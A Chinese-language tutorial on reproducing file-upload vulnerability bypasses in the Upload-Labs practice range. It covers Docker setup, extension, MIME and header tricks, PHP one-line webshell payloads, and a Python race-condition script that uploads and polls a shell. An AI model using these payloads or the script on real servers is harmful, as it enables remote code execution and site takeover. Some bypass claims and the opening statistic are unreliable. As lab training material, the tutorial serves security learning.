手把手教你用Upload-Labs靶场复现文件上传绕过：从基础绕过到条件竞争实战-尧图网络科技

手把手教你用Upload-Labs靶场复现文件上传绕过：从基础绕过到条件竞争实战

在Web安全领域，文件上传漏洞一直是渗透测试中的高频发现项。据统计，超过60%的中小型网站存在不同程度的上传功能缺陷，而其中近半数可通过简单技巧绕过基础防护。Upload-Labs作为专为文件上传漏洞设计的靶场环境，包含了从基础到高级的20种不同防御场景，是安全爱好者掌握绕过技巧的理想实验平台。

本文将带您从零开始搭建实验环境，逐步拆解8种典型绕过手法，最后深入条件竞争等高级技巧。不同于简单的步骤复现，我们会着重分析每种方法背后的WAF拦截逻辑，帮助您建立系统化的绕过思维。所有实验均可在本地虚拟机完成，无需复杂设备。

1. 实验环境搭建与基础配置

1.1 快速部署Upload-Labs靶场

推荐使用Docker快速搭建环境，避免PHP版本兼容问题。以下是一条命令完成部署的方案：

docker run -d -p 8080:80 --name upload-labs c0ny1/upload-labs

启动后访问http://localhost:8080即可进入实验界面。若偏好传统方式，也可下载源码包手动部署：

从GitHub获取最新Release包
解压至Web服务器根目录（如/var/www/html）
修改upload目录权限为可写（chmod -R 777 upload）

注意：生产环境切勿使用777权限，此处仅为实验方便

1.2 必备工具准备

工具类型	推荐工具	主要用途
代理拦截	Burp Suite Community	请求修改与重放
文件编辑	010 Editor	二进制文件头修改
木马生成	AntSword-Loader	一句话木马生成与管理
网络调试	Postman	多部分表单构造测试

1.3 基础安全机制认知

Upload-Labs前五关模拟了常见基础防护：

前端JS验证（关1）
MIME类型检测（关2）
黑名单扩展名（关3）
.htaccess防护（关4）
文件头检查（关5）

理解这些机制是后续高级绕过的基础。例如第三关的防护代码片段：

$deny_ext = array('.asp','.aspx','.php','.jsp'); if(in_array($file_ext, $deny_ext)) { unlink($_FILES['upload_file']['tmp_name']); die("此文件类型禁止上传！"); }

2. 基础绕过技巧实战

2.1 换行符绕过解析

这是针对严格匹配文件名的防护机制。当WAF使用正则表达式如\.php$检测时，在扩展名前插入换行符可能使匹配失效：

Content-Disposition: form-data; name="file"; filename="shell.p hp"

实际操作步骤：

使用Burp拦截上传请求
在filename的扩展名前插入\x0a或\x0d
观察服务器是否成功保存文件

该技巧在Apache+PHP5环境下成功率较高，但Nginx通常不受影响

2.2 多重等号混淆技术

某些WAF会解析请求参数中的等号数量，通过添加无效等号可干扰其检测：

Content-Disposition: form-data; name="file"; ===filename=="shell.php"

关键原理：

WAF可能只检查第一个等号后的内容
实际解析时PHP会取最后一个有效等号
适用于参数名和值都添加干扰的情况

2.3 扩展名大小写变异

利用系统对大小写的不同处理（尤其Windows）：

尝试扩展名	Linux效果	Windows效果
.PhP	失败	成功
.pHp5	失败	成功
.pHP	失败	成功

配合黑名单机制测试时，可尝试：

混合大小写（.pHp）
超长扩展名（.pphphp）
重复扩展名（.php.php）

3. 高级绕过与条件竞争

3.1 多文件上传干扰

当WAF只检测第一个文件时，可通过添加无害文件进行干扰：

Content-Disposition: form-data; name="file[]"; filename="1.jpg" Content-Type: image/jpeg [真实的图片内容] Content-Disposition: form-data; name="file[]"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']);?>

3.2 临时文件竞争技术

这是针对"先保存后检测"机制的绝佳方案。典型攻击流程：

持续快速上传含恶意代码的图片文件
同时不断访问该临时文件
在服务器删除前触发代码执行

自动化脚本示例：

import requests import threading def upload(): while True: files = {'file': ('shell.php', '<?php system($_GET["c"]);?>')} requests.post("http://target/upload.php", files=files) def access(): while True: r = requests.get("http://target/uploads/tmp/shell.php") if r.status_code == 200: print("Success!") break threads = [ threading.Thread(target=upload), threading.Thread(target=upload), threading.Thread(target=access) ] for t in threads: t.start()

3.3 文件头伪装技巧

针对内容检测的防护，常用伪装手法：

真实类型	添加的文件头	示例命令
PHP	GIF89a	`echo 'GIF89a<?php phpinfo();' > shell.gif`
JPG	\xFF\xD8\xFF\xE0	使用010 Editor手动添加
PNG	\x89PNG\x0D\x0A\x1A\x0A	结合二进制编辑器修改